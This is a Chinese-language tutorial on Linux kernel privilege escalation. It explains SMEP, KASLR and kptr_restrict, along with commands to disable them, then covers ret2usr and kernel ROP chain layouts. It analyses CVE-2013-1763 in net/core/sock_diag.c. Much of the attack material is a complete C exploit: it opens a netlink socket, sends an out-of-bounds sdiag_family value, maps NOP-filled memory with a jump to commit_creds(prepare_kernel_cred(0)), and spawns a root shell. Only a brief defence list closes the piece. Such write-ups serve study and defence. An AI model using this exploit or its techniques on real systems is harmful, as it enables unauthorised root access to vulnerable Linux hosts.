入门学习linux内核提权
字数 1969 2025-08-25 22:59:03
Linux内核提权技术详解
0x00 前言
本文全面介绍Linux内核提权的核心技术,包括基础概念、保护机制、攻击方法以及实际漏洞分析。内容涵盖从基础理论到实践应用的完整知识体系。
0x01 内核提权基础
分级保护域(Rings)
- 计算机中的保护机制,称为保护环(Rings)
- 从最高特权级(Ring 0)到最低特权级(Ring 3)排列
- Linux使用:
- Ring 0:内核代码和驱动程序
- Ring 3:用户程序
提权核心函数
在内核中获取root权限的核心函数调用:
commit_creds(prepare_kernel_cred(0));
这个函数分配并应用新的凭证结构(uid=0, gid=0)从而获取root权限。
0x02 内核保护措施
SMEP (Supervisor Mode Execution Protection)
- 管理模式执行保护
- 防止内核执行用户空间代码
- 防御ret2usr攻击
检查SMEP是否开启:
cat /proc/cpuinfo | grep smep
SMEP位置:
- 位于CR4寄存器的第20位
- 示例:0x1407f0 = 0001 0100 0000 0111 1111 0000
关闭SMEP方法:
- 修改
/etc/default/grub文件:GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr" - 更新grub:
sudo update-grub
KASLR (Kernel Address Space Layout Randomization)
- 内核地址空间随机化
- 随机化内核代码和数据的地址
内核地址显示限制(kptr_restrict)
控制通过/proc等接口暴露内核地址:
- 0:无限制
- 1:使用%pK打印的内核指针替换为0(除非有CAP_SYSLOG权限)
- 2:总是替换为0
禁用限制:
sudo sysctl -w kernel.kptr_restrict=0
0x03 ret2usr攻击
原理
利用内核空间能访问用户空间但用户空间不能访问内核空间的特性,重定向内核代码或数据流指向用户空间。
技术实现
-
在用户空间创建提权函数:
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } -
覆盖内核函数指针(如ptmx_fops->release())指向用户空间payload
-
触发函数执行,通过iretq返回用户空间执行shell
关键结构
struct cred —— cred的基本单位
prepare_kernel_cred —— 分配并返回新的cred
commit_creds —— 应用新的cred
0x04 内核ROP技术
基本原理
当SMEP开启时,使用内核空间的ROP链绕过保护:
- 构造ROP链执行提权操作
- 不执行任何用户空间指令
- 通过swapgs和iretq返回用户空间
ROP链构造
典型ROP链结构:
pop rdi ; ret
NULL
prepare_kernel_cred地址
pop rdx ; ret
commit_creds地址
mov rdi, rax ; call rdx
swapgs ; pop rbp ; ret
0xdeadbeefUL
iretq
shell
CS
EFLAGS
RSP
SS
获取Gadget
-
解压内核镜像:
sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux -
提取gadget:
ROPgadget --binary vmlinux > ~/ropgadget
Stack Pivot技术
将ROP链放到用户空间,通过gadget将栈指针指向用户空间:
可用gadget类型:
- mov rXx, rsp ; ret
- add rsp, ...; ret
- xchg rXx, rsp ; ret
- xchg rsp, rXx ; ret
绕过SMEP的替代方法
通过ROP修改CR4寄存器第20位禁用SMEP:
offset of rip
pop rdi ; ret
mov CR4, rdi ; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS
0x05 CVE-2013-1763漏洞分析
漏洞描述
- 影响范围:Linux kernel 3.3-3.8
- 漏洞文件:net/core/sock_diag.c
- 问题函数:
__sock_diag_rcv_msg - 漏洞原因:未对
sock_diag_handlers数组下标做边界检查
漏洞代码
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) {
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family); // 无边界检查
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh); // 可利用点
sock_diag_unlock_handler(hndl);
return err;
}
利用原理
- 通过netlink协议创建socket并发送特制数据包
- 控制
sdiag_family值触发数组越界 - 利用
hndl->dump函数指针执行任意代码
利用步骤
-
获取关键符号地址:
commit_creds = 0xc10600a0; prepare_kernel_cred = 0xc1060360; -
计算family偏移:
family = (nl_table - sock_diag_handlers) / 4 = 99L -
构造payload:
int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } -
内存布局:
- mmap 0x10000-0x130000区域
- 填充NOP指令
- 在末尾放置跳转代码
-
触发漏洞:
send(fd, &req, sizeof(req), 0);
完整利用代码
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
// ... 其他头文件 ...
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3))) kernel_code() {
commit_creds(prepare_kernel_cred(0));
return -1;
}
int main() {
int fd;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
// 创建netlink socket
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0) {
perror("socket");
return -1;
}
// 设置符号地址
commit_creds = (_commit_creds)0xc10600a0;
prepare_kernel_cred = (_prepare_kernel_cred)0xc1060360;
// 构造请求
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT | NLM_F_MATCH | NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.sdiag_family = 99; // 精心计算的偏移
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
// 内存布局
unsigned long mmap_start = 0x10000;
unsigned long mmap_size = 0x120000;
void *mapped = mmap((void*)mmap_start, mmap_size,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
// 填充NOP
memset(mapped, 0x90, mmap_size);
// 构造跳转代码
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3";
unsigned long *target = (unsigned long *)&jump[4];
*target = (unsigned long)kernel_code;
// 将跳转代码放在内存区域末尾
memcpy((void*)(mmap_start + mmap_size - sizeof(jump)), jump, sizeof(jump));
// 触发漏洞
send(fd, &req, sizeof(req), 0);
// 获取shell
system("/bin/sh");
return 0;
}
0x06 防御措施
- 保持内核更新,及时打补丁
- 启用SMEP/SMAP/KASLR等保护机制
- 限制/proc/kallsyms等敏感信息的访问
- 使用grsecurity/PaX等增强安全性的补丁
0x07 参考资源
- SMEP绕过技术:http://cyseclabs.com/slides/smep_bypass.pdf
- ret2dir攻击:http://www.cnblogs.com/0xJDchen/p/6143102.html
- 内核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/
- 内核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
- CVE-2013-1763漏洞分析:https://my.oschina.net/fgq611/blog/181812